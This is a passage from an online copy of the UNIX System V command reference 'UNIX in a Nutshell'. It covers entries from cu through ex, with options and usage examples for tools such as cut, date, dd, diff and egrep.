Use two tildes when you want to pass a line that begins with a tilde. This lets you issue commands to more than one system in a cu chain. For example, use ~~. to terminate the conversation on a second system cu'd to from the first.

~%b

Send a BREAK sequence to remote system.

~%d

Turn debug mode on or off.

~t

Print termio structure for local terminal.

~l

Print termio structure for communication line.

~%ifc

Turn on/off the DC3/DC1 XON/XOFF control protocol (characters ^S, ^Q) for the remainder of the session (formerly ~%nostop, which is still valid).

~%ofc

Set output flow control either on or off.

~%divert

Allow/prevent diversions not specified by ~%take.

~%old

Allow/prevent old-style syntax for diversions received.

Examples

Connect to terminal line /dev/ttya at 1200 baud:

cu -s1200 -l/dev/ttya

Connect to modem with phone number 555-9876:

cu 5559876

Connect to system named usenix:

cu usenix

Previous: Reference: ctrace | UNIX in a Nutshell: System V Edition | Next: Reference: cut
Reference: ctrace | Book Index | Reference: cut
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cut

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cu Chapter 2
UNIX Commands 		Next: Reference: cxref

cut

cut options [files]

Select a list of columns or fields from one or more files. Option -c or -f must be specified. list is a sequence of integers. Use a comma between separate values and a hyphen to specify a range (e.g., 1-10,15,20 or 50-). See also paste, join, and newform.

Options

-clist

Cut the column positions identified in list.

-dc

Use with -f to specify field delimiter as character c (default is tab); special characters (e.g., a space) must be quoted.

-flist

Cut the fields identified in list.

-s

Use with -f to suppress lines without delimiters.

Examples

Extract usernames and real names from /etc/passwd:

cut -d: -f1,5 /etc/passwd

Find out who is logged on, but list only login names:

who | cut -d" " -f1

Cut characters in the fourth column of file, and paste them back as the first column in the same file:

cut -c4 file | paste - file

Previous: Reference: cu | UNIX in a Nutshell: System V Edition | Next: Reference: cxref
Reference: cu | Book Index | Reference: cxref
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cxref

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cut Chapter 2
UNIX Commands 		Next: Reference: date

cxref

cxref [options] files

Build a cross-reference table for each of the C source files. The table lists all symbols, providing columns for the name and the associated function, file, and line. In the table, symbols are marked by = if assigned, - if declared, or * if defined. cxref also accepts the cc options -D, -I, and -U.

Options

-c

Report on all files in a single table.

-C

Don't execute the second pass of cxref; save output from first pass in .cx files. (Like -c in lint and cc.)

-d

Simplify report by omitting print declarations.

-F

Print files using full pathname, not just the filename.

-l

Don't print local variables.

-L[n]

Limit the "LINE" field to n columns (default is 5).

-o file

Send output to file.

-s

Silent mode; don't print input filenames.

-t

Format for 80-column listing.

-V

Print version information on standard error.

-w[n]

Format for maximum width of n columns (default is 80; n must be more than 50).

-Wn1,n2,n3,n4

Set the width of each (or any) column to n1, n2, n3, or n4 (respective defaults are 15, 13, 15, and 20). Column headings are NAME, FILE, FUNCTION, and LINE, respectively.

Previous: Reference: cut | UNIX in a Nutshell: System V Edition | Next: Reference: date
Reference: cut | Book Index | Reference: date
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: date

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cxref Chapter 2
UNIX Commands 		Next: Reference: dbx

date

date [option] [+format]
date [options] [string]

In the first form, print the current date and time, specifying an optional display format. In the second form, a privileged user can set the current date by supplying a numeric string. format can consist of literal text strings (blanks must be quoted) as well as field descriptors, whose values will appear as described below (the listing shows some logical groupings).

Format

%n

Insert a newline.

%t

Insert a tab.

%m

Month of year (01-12).

%d

Day of month (01-31).

%y

Last two digits of year (00-99).

%D

Date in %m/%d/%y format.

%b

Abbreviated month name.

%e

Day of month (1-31); pad single digits with a space.

%Y

Four-digit year (e.g., 1996).

%h

Same as %b.

%B

Full month name.

%H

Hour in 24-hour format (00-23).

%M

Minute (00-59).

%S

Second (00-61); 61 permits leap seconds.

%R

Time in %H:%M format.

%T

Time in %H:%M:%S format.

%I

Hour in 12-hour format (01-12).

%p

String to indicate a.m. or p.m. (default is AM or PM).

%r

Time in %I:%M:%S %p format.

%a

Abbreviated weekday.

%A

Full weekday.

%w

Day of week (Sunday = 0).

%U

Week number in year (00-53); start week on Sunday.

%W

Week number in year (00-53); start week on Monday.

%j

Julian day of year (001-366).

%Z

Time zone name.

%x

Country-specific date format.

%X

Country-specific time format.

%c

Country-specific date and time format (default is %a %b %e %T %Z %Y; e.g., Mon Feb 1 14:30:59 EST 1993).

The preceding country-specific formats, as well as language names (e.g., for month and weekday) are defined in a file given by strftime(4).

Options

-a s.f

(Privileged user only.) Gradually adjust the system clock until it drifts s seconds away from what it thinks is the "current" time. (This allows continuous micro-adjustment of the clock while the system is running.) f is the fraction of seconds by which time drifts. By default, the clock speeds up; precede s by a - to slow down.

-u

Display or set the time using Greenwich Mean Time.

Strings for setting date

A privileged user can set the date by supplying a numeric string. string consists of time, day, and year concatenated in one of three ways: time or [day]time or [day]time[year]. Note: You don't type the brackets.

time

A two-digit hour and two-digit minute (HHMM); HH uses 24-hour format.

day

A two-digit month and two-digit day of month (mmdd); default is current day and month.

year

The year specified as either the full four digits or just the last two digits; default is current year.

Examples

Set the date to July 1 (0701), 4 a.m. (0400), 1995 (95):

date 0701040095

The command:

date +"Hello%t Date is %D %n%t Time is %T"

produces a formatted date as follows:

Hello	Date is 05/09/93
    Time is 17:53:39

Previous: Reference: cxref | UNIX in a Nutshell: System V Edition | Next: Reference: dbx
Reference: cxref | Book Index | Reference: dbx
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: dbx

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: date Chapter 2
UNIX Commands 		Next: Reference: dc

dbx

/usr/ucb/dbx [options] [objfile [corefile]]

Solaris 2.0 only. A source code debugger for programs written in C, C++, Pascal, and FORTRAN. Programs compiled with the -g option of cc (and other compilers) produce objfile, an object file that includes a symbol table. corefile contains the core image produced when objfile is executed. a.out is the default object file, and core is the default corefile. Dbx commands can be stored in a start-up .dbxinit file that resides in the current directory or in the user's home directory. Dbx executes these commands just before reading the symbol table. See Section 20 for more information on dbx.

Options

-c cmd

Run dbx cmd after initialization.

-C

Collect profile data for debugged program.

-e

Echo input commands on standard output.

-i

Act as if standard input is a terminal.

-I dir

Add dir to the directory search path. The dbx command use resets the search path.

-kbd

Debug a program that puts the keyboard in up-down translation mode.

-P file_des

Pipe output to the debugger command via file descriptor file_des. debugger passes this option automatically.

-q

Suppress messages during loading (useful during auto-traceback).

-r

Execute objfile right away, then wait for user response from the keyboard.

-s file

Read initialization commands from start-up file.

-sr tmp

Like -s, but then delete start-up file (tmp).

- pid

Debug a currently running program whose process ID is pid (used mainly for auto-traceback).

Previous: Reference: date | UNIX in a Nutshell: System V Edition | Next: Reference: dc
Reference: date | Book Index | Reference: dc
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: dc

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: dbx Chapter 2
UNIX Commands 		Next: Reference: dd

dc

dc [file]

An interactive desk calculator program that performs arbitrary- precision integer arithmetic (input may be taken from a file). Normally you don't run dc directly, since it's invoked by bc (see bc). dc provides a variety of one-character commands and operators that perform arithmetic; dc works like a Reverse Polish calculator; therefore, operators and commands follow the numbers they affect. Operators include + - / * % ^ (as in C); some simple commands include:

p

Print current result.

q

Quit dc.

c

Clear all values on the stack.

v

Take square root.

i

Change input base; similar to bc's ibase.

o

Change output base; similar to bc's obase.

k

Set scale factor (number of digits after decimal); similar to bc's scale.

!

Remainder of line is a UNIX command.

Examples

3 2 ^ p	Evaluate 3 squared, then print result.
9
8 * p	Current value (9) times 8, then print result.
72
47 - p	Subtract 47 from 72, then print result.
25
v p	Square root of 25, then print result.
5
2 o p	Display current result in base 2.
101

Note: Spaces are not needed except between numbers.

Previous: Reference: dbx | UNIX in a Nutshell: System V Edition | Next: Reference: dd
Reference: dbx | Book Index | Reference: dd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: dd

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: dc Chapter 2
UNIX Commands 		Next: Reference: delta

dd

dd [option=value]

Make a copy of an input file (if=) using the specified conditions, and send the results to the output file (or standard output if of is not specified). Any number of options can be supplied, although if and of are the most common and are usually specified first. Because dd can handle arbitrary block sizes, it is useful when converting between raw physical devices.

Options

bs=n

Set input and output block size to n bytes; this option supersedes ibs and obs.

cbs=n

Set the size of the conversion buffer (logical record length) to n bytes. Use only if the conversion flag is ascii, ebcdic, ibm, block, or unblock.

conv=flags

Convert the input according to one or more (comma-separated) flags listed below. The first five flags are mutually exclusive.

ascii

EBCDIC to ASCII.

ebcdic

ASCII to EBCDIC.

ibm

ASCII to EBCDIC with IBM conventions.

block

Variable-length records (i.e., those terminated by a newline) to fixed-length records.

unblock

Fixed-length records to variable-length.

lcase

Uppercase to lowercase.

ucase

Lowercase to uppercase.

noerror

Continue processing when errors occur (up to 5 in a row).

swab

Swap all pairs of bytes.

sync

Pad input blocks to ibs.

count=n

Copy only n input blocks.

files=n

Copy n input files (e.g., from magnetic tape), then quit.

ibs=n

Set input block size to n bytes (default is 512).

if=file

Read input from file (default is standard input).

obs=n

Set output block size to n bytes (default is 512).

of=file

Write output to file (default is standard output).

iseek=n

Seek n blocks from start of input file (like skip but more efficient for disk file input).

oseek=n

Seek n blocks from start of output file.

seek=n

Same as oseek (retained for compatibility).

skip=n

Skip n input blocks; useful with magnetic tape.

You can multiply size values (n) by a factor of 1024, 512, or 2 by appending the letter k, b, or w, respectively. You can use the letter x as a multiplication operator between two numbers.

Examples

Convert an input file to all lowercase:

dd if=caps_file of=small_file conv=lcase

Retrieve variable-length data; write it as fixed-length to out:

data_retrieval_cmd | dd of=out conv=sync,block

Previous: Reference: dc | UNIX in a Nutshell: System V Edition | Next: Reference: delta
Reference: dc | Book Index | Reference: delta
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: delta

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: dd Chapter 2
UNIX Commands 		Next: Reference: deroff

delta

delta [options] files

An SCCS command. See Section 17.

Previous: Reference: dd | UNIX in a Nutshell: System V Edition | Next: Reference: deroff
Reference: dd | Book Index | Reference: deroff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: deroff

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: delta Chapter 2
UNIX Commands 		Next: Reference: df

deroff

deroff [options] [files]

Remove all nroff/troff requests and macros, backslash escape sequences, and tbl and eqn constructs from the named files.

Options

-mm

Suppress text that appears on macro lines (i.e., paragraphs will print but headings might be stripped).

-ml

Same as -mm, but also deletes lists created by mm macros; e.g., .BL/.LE, .VL/.LE constructs. (Nested lists are handled poorly.)

-w

Output the text as a list, one word per line. See also example under xargs.

Previous: Reference: delta | UNIX in a Nutshell: System V Edition | Next: Reference: df
Reference: delta | Book Index | Reference: df
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: df

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: deroff Chapter 2
UNIX Commands 		Next: Reference: diff

df

df [options] [name]

Report the number of free disk blocks and inodes available on all mounted file systems or on the given name. (Unmounted file systems are checked with -F.) name can be a device name (e.g., /dev/dsk/0s9), the directory name of a mounting point (e.g., /usr), a directory name, or a remote resource name (e.g., an RFS/NFS resource). Besides the options listed, there are additional options specific to different file system types or df modules.

Options

-b

Print only the number of free kilobytes.

-e

Print only the number of free files.

-f

Report free blocks but not free inodes (SVR3 only).

-F type

Report on an unmounted file system specified by type. Available types can be seen in the file /etc/vfstab.

-g

Print the whole statvfs structure (overriding other print options).

-k

Print allocation in kilobytes (typically used without other options).

-l

Report only on local file systems.

-n

Print only the file system type name; with no other arguments, -n lists the types for all mounted file systems.

-o suboptions

Supply a comma-separated list of type-specific suboptions.

-t

Report total allocated space as well as free space.

-V

Echo command line but do not execute command.

Previous: Reference: deroff | UNIX in a Nutshell: System V Edition | Next: Reference: diff
Reference: deroff | Book Index | Reference: diff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: diff

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: df Chapter 2
UNIX Commands 		Next: Reference: diff3

diff

diff [options] [diroptions] file1 file2

diff reports lines that differ between file1 and file2. Output consists of lines of context from each file, with file1 text flagged by a < symbol and file2 text, by a > symbol. Context lines are preceded by the ed command (a, c, or d) that would be used to convert file1 to file2. If one of the files is -, standard input is read. If one of the files is a directory, diff locates the filename in that directory corresponding to the other argument (e.g., diff my_dir junk is the same as diff my_dir/junk junk). If both arguments are directories, diff reports lines that differ between all pairs of files having equivalent names (e.g., olddir/program and newdir/program); in addition, diff lists filenames unique to one directory, as well as subdirectories common to both. See also sdiff and cmp.

Options

-b

Ignore repeating blanks and end-of-line blanks; treat successive blanks as one.

-c

Produce output in alternate format, with three lines of context.

-Cn

Like -c, but produce n lines of context.

-cn

Produce n lines of context (default is 3).

-D def

Merge file1 and file2 into a single file containing conditional C preprocessor directives (#ifdef). Defining def and then compiling will yield file2; compiling without defining def yields file1.

-e

Produce a script of commands (a, c, d) to recreate file2 from file1 using the ed editor.

-f

Produce a script to recreate file1 from file2; the script is in the opposite order, so it isn't useful to ed.

-h

Do a half-hearted comparison; complex differences (e.g., long stretches of many changes) may not show up; -e and -f are disabled.

-i

Ignore uppercase and lowercase distinctions.

-n

Like -f, but counts changed lines. rcsdiff works this way.

-t

Expand tabs in output lines; useful for preserving indentation changed by -c format.

-w

Like -b but ignores all spaces and tabs; e.g., a + b is the same as a+b.

Options -c, -C, -D, -e, -f, -h, and -n cannot be combined with each other (they are mutually exclusive). The following diroptions are valid only when both file arguments are directories.

Diroptions

-l

Long format; output is paginated by pr so that diff listings for each file begin on a new page; other comparisons are listed afterward.

-r

Run diff recursively for files in common subdirectories.

-s

Report files that are identical.

-Sfile

Begin directory comparisons with file, skipping files whose names are alphabetically before file.

Previous: Reference: df | UNIX in a Nutshell: System V Edition | Next: Reference: diff3
Reference: df | Book Index | Reference: diff3
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: diff3

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: diff Chapter 2
UNIX Commands 		Next: Reference: diffmk

diff3

diff3 [options] file1 file2 file3

Compare three files and report the differences with the following codes:

====

All three files differ.

====1

file1 is different.

====2

file2 is different.

====3

file3 is different.

Options

-e

Create an ed script to incorporate into file1 all differences between file2 and file3.

-E

Same as -e, but mark with angle brackets any lines that differ between all three files.

-x

Create an ed script to incorporate into file1 all differences between all three files.

-X

Same as -x, but mark with angle brackets any lines that differ between all three files.

-3

Create an ed script to incorporate into file1 differences between file1 and file3.

Previous: Reference: diff | UNIX in a Nutshell: System V Edition | Next: Reference: diffmk
Reference: diff | Book Index | Reference: diffmk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: diffmk

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: diff3 Chapter 2
UNIX Commands 		Next: Reference: dircmp

diffmk

/usr/ucb/diffmk oldfile newfile markedfile

A useful program for reviewing changes between drafts of a document. diffmk compares two versions of a file (oldfile and newfile) and creates a third file (markedfile) that contains troff "change mark" requests. When markedfile is formatted with nroff or troff, the differences between the two files will be marked in the margin (via the .mc request). diffmk uses a | to mark changed lines and a * to mark deleted lines. Note that change marks are produced even if the changes are inconsequential (e.g., extra blanks, different input line lengths).

Example

To run diffmk on multiple files, it's convenient to set up directories in which to keep the old and new versions of your files, and to create a directory in which to store the marked files:

$ mkdir OLD NEW CHANGED

Move your old files to OLD and your new files to NEW. Then use this rudimentary Bourne shell script:

$ cat do.mark
for file
do
echo "Running diffmk on $file ..."
diffmk ../OLD/$file $file ../CHANGED/$file
done

You must run the script in the directory of new files:

$ cd NEW
$ do.mark Ch*

Previous: Reference: diff3 | UNIX in a Nutshell: System V Edition | Next: Reference: dircmp
Reference: diff3 | Book Index | Reference: dircmp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: dircmp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: diffmk Chapter 2
UNIX Commands 		Next: Reference: dirname

dircmp

dircmp [options] dir1 dir2

Compare the contents of dir1 and dir2. See also diff and cmp.

Options

-d

Execute diff on the files which differ.

-s

Don't report files that are identical.

-wn

Change the output line length to n (default is 72).

Previous: Reference: diffmk | UNIX in a Nutshell: System V Edition | Next: Reference: dirname
Reference: diffmk | Book Index | Reference: dirname
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: dirname

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: dircmp Chapter 2
UNIX Commands 		Next: Reference: dis

dirname

dirname pathname

Print pathname excluding last level. Useful for stripping the actual filename from a pathname. See also basename.

Previous: Reference: dircmp | UNIX in a Nutshell: System V Edition | Next: Reference: dis
Reference: dircmp | Book Index | Reference: dis
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: dis

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: dirname Chapter 2
UNIX Commands 		Next: Reference: download

dis

dis [options] files

Disassemble the object or archive files. See also as.

Options

-d section

Disassemble only the specified section of data, printing its offset.

-D section

Same as -d, but print the data's actual address (formerly -da).

-F func

Disassemble only the specified function; reuse -F for additional functions.

-l string

Disassemble only the library file string (e.g., string would be x for lib x.a).

-L

Look for C source labels in files containing debug information (e.g., files compiled with cc -g).

-o

Print octal output (default is hexadecimal).

-t section

Same as -d, but print text output.

-V

Print version information on standard error.

Previous: Reference: dirname | UNIX in a Nutshell: System V Edition | Next: Reference: download
Reference: dirname | Book Index | Reference: download
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: download

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: dis Chapter 2
UNIX Commands 		Next: Reference: dpost

download

download [options] [files]

Add a font to the beginning of one or more PostScript files. By adding a font name directly to a PostScript specification, this command can be used to make additional fonts available when printing a PostScript file. Fonts are added in the form of PostScript comments that begin with %%DocumentFonts:, followed by a list of PostScript font names. download loads the fonts whose names are listed in a map table. This table links PostScript names with the system file that contains the font definition. A map table for the Times font family might look like this:

Times-Bold	fonts/100dpi/timesbold.snf
Times-Italic	fonts/100dpi/timesitalic.snf
Times-Roman	fonts/100dpi/timesroman.snf

Options

-

Read the standard input.

-f

Search the entire PostScript file instead of just the header comments. Header comments such as %%DocumentFonts: (atend) will redirect download to the end of the file. Use this option when such comments aren't present.

-H fontdir

Use fontdir as the directory in which font definition files are to be searched (default is /usr/lib/lp/postscript).

-m table

Use map table specified by file table. A leading / in table indicates an absolute pathname; otherwise (as in example above), the filename is appended to the fontdir specified by -H.

-p printer

Normally, download loads fonts that reside on the host machine. With this option, download will first check for fonts that reside on printer (by looking at /etc/lp/printers/printer/residentfonts).

Previous: Reference: dis | UNIX in a Nutshell: System V Edition | Next: Reference: dpost
Reference: dis | Book Index | Reference: dpost
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: dpost

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: download Chapter 2
UNIX Commands 		Next: Reference: du

dpost

dpost [options] [files]

A postprocessor that translates troff-formatted files into PostScript for printing.

Options

-

Read the standard input.

-c n

Print n copies of each page (default is 1).

-e 0 | 1 | 2

Set text encoding to 0 (default), 1, or 2. Higher encoding reduces the output size and speeds printing, but may be less reliable.

-F dir

Set the font directory to dir (default is /usr/lib/font).

-H dir

Set the host-resident font directory to dir. Files there must describe PostScript fonts and have filenames corresponding to a two-character troff font.

-L file

Set the PostScript prologue to file (default is /usr/lib/postscript/dpost.ps).

-m scale

Increase (multiply) the size of logical pages by factor scale (default is 1.0).

-n n

Print n logical pages on each sheet of output (default is 1).

-o list

Print only pages contained in comma-separated list. A page range is specified by n-m.

-O

Omit PostScript pictures from output. Useful when running in a networked environment.

-p layout

Specify layout to be either portrait (long side is vertical; also the default) or landscape (long side is horizontal). layout can be abbreviated to p or l.

-T device

Use device to best describe available PostScript fonts. Default is post, with dpost reading binary files in /usr/lib/font/devpost. Use of -T is discouraged.

-w n

Draw troff graphics (e.g., pic, tbl) using lines that are n points thick (default is 0.3).

-x n

Offset the x-coordinate of the origin n inches to the right (if n is positive).

-y n

Offset the y-coordinate of the origin n inches down (if n is positive). Default origin is the upper-left corner of the page.

Example

pic file | tbl | eqn | troff -ms -Tpost | dpost -c2

Previous: Reference: download | UNIX in a Nutshell: System V Edition | Next: Reference: du
Reference: download | Book Index | Reference: du
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: du

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: dpost Chapter 2
UNIX Commands 		Next: Reference: echo

du

du [options] [directories]

Print disk usage; i.e., the number of 512-byte blocks used Print disk usage; i.e., the number of kilobytes used by each named directory and its subdirectories (default is current directory).

Options

-a

Print usage for all files, not just subdirectories.

-r

Print "cannot open" message if a file or directory is inaccessible.

-s

Print only the grand total for each named directory.

Previous: Reference: dpost | UNIX in a Nutshell: System V Edition | Next: Reference: echo
Reference: dpost | Book Index | Reference: echo
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: echo

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: du Chapter 2
UNIX Commands 		Next: Reference: ed

echo

echo [-n] [string]

This is the /bin/echo command. echo also exists as a command built into the C shell and Bourne shell (see Sections 4 and 5). /bin/echo is the same as the Bourne shell version with one exception: the -n option to /bin/echo works only when the user's PATH variable lists /usr/ucb before /usr/bin. The C-shell version does not support escape characters.

Examples

echo "testing printer" | lp
echo "TITLE\nTITLE" > file ; cat doc1 doc2 >> file
echo "Warning: ringing bell \07"

Previous: Reference: du | UNIX in a Nutshell: System V Edition | Next: Reference: ed
Reference: du | Book Index | Reference: ed
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ed

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: echo Chapter 2
UNIX Commands 		Next: Reference: edit

ed

ed [options] [file]

The standard text editor. If the named file does not exist, ed creates it; otherwise, the existing file is opened for editing. As a line editor, ed is generally no longer used because vi and ex have superseded it. Some utilities, such as diff, continue to make use of ed. Encryption can be used only in the United States.

Options

-C

Same as -x, but assume file began in encrypted form.

-p string

Set string as the prompt for commands (default is *). The P command turns the prompt display on and off.

-s

Suppress character counts, diagnostics, and the ! prompt for shell commands.

-x

Supply a key to encrypt or decrypt file using crypt.

Previous: Reference: echo | UNIX in a Nutshell: System V Edition | Next: Reference: edit
Reference: echo | Book Index | Reference: edit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: edit

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ed Chapter 2
UNIX Commands 		Next: Reference: egrep

edit

edit [options] [file]

A line-oriented text editor that runs a simplified version of ex for novice users. The set variables report, showmode, and magic are preset to report editing changes, to display edit modes (when in :vi mode), and to require literal search patterns (no metacharacters allowed), respectively. (Encryption is not supported outside the United States.)

Options

-C

Same as -x, but assume files are already encrypted.

-r

Recover file after a system crash or editor crash.

-x

Encrypt file when it is written.

Previous: Reference: ed | UNIX in a Nutshell: System V Edition | Next: Reference: egrep
Reference: ed | Book Index | Reference: egrep
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: egrep

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: edit Chapter 2
UNIX Commands 		Next: Reference: env

egrep

egrep [options] [regexp] [files]

Search one or more files for lines that match a regular expression regexp. egrep doesn't support the metacharacters \(, \), \n, \<, \>, \{, or \}, but does support the other expressions, as well as the extended set +, ?, |, and ( ). Remember to enclose these characters in quotes. Regular expressions are described in Section 6. Exit status is 0 if any lines match, 1 if not, and 2 for errors. See also grep and fgrep. egrep typically runs faster than those.

Options

-b

Precede each line with its block number.

-c

Print only a count of matched lines.

-e regexp

Use this if regexp begins with -.

-f file

Take expression from file.

-h

List matched lines but not filenames (inverse of -l).

-i

Ignore uppercase and lowercase distinctions.

-l

List filenames but not matched lines.

-n

Print lines and their line numbers.

-s

Silent mode: print only error messages, and return the exit status.

-v

Print all lines that don't match regexp.

Examples

Search for occurrences of Victor or Victoria in file:

egrep 'Victor(ia)*' file
egrep '(Victor|Victoria)' file

Find and print strings such as old.doc1 or new.doc2 in files, and include their line numbers:

egrep -n '(old|new)/.doc?' files

Previous: Reference: edit | UNIX in a Nutshell: System V Edition | Next: Reference: env
Reference: edit | Book Index | Reference: env
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: env

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: egrep Chapter 2
UNIX Commands 		Next: Reference: eqn

env

env [option] [variable=value ... ] [command]

Display the current environment or, if environment variables are specified, set them to a new value and display the modified environment. If command is specified, execute it under the modified environment.

Option

-

Ignore current environment entirely.

Previous: Reference: egrep | UNIX in a Nutshell: System V Edition | Next: Reference: eqn
Reference: egrep | Book Index | Reference: eqn
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: eqn

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: env Chapter 2
UNIX Commands 		Next: Reference: ex

eqn

/usr/ucb/eqn [options] [files]

Equation preprocessor for troff. See Section 16.

Previous: Reference: env | UNIX in a Nutshell: System V Edition | Next: Reference: ex
Reference: env | Book Index | Reference: ex
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ex

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: eqn Chapter 2
UNIX Commands 		Next: Reference: expr

ex

ex [options] files

A line-oriented text editor; a superset of ed and the root of vi. See Sections 8 and 9 for more information.

Options

-ccommand

Begin edit session by executing the given ex command (usually a search pattern or line address). If command contains spaces or special characters, enclose it in single quotes to protect it from the shell. For example, command could be ':set list' (show tabs and newlines) or /word (search for word) or '$' (show last line). (Note: -c command was formerly +command.)

-l

Run in LISP mode for editing LISP programs.

-L

List filenames that were saved due to an editor or system crash.

-r file

Recover and edit file after an editor or system crash.

-R

Edit in read-only mode to prevent accidental changing of files.

-s

Suppress status messages (e.g., errors, prompts); useful when running an ex script. (-s was formerly the - option.)

-t tag

Edit the file containing tag, and position the editor at its definition (see ctags for more information).

-v

Invoke vi. Running vi directly is simpler.

-V

Verbose; print non-terminal input on standard error. Useful for tracking shell scripts running ex.

-x

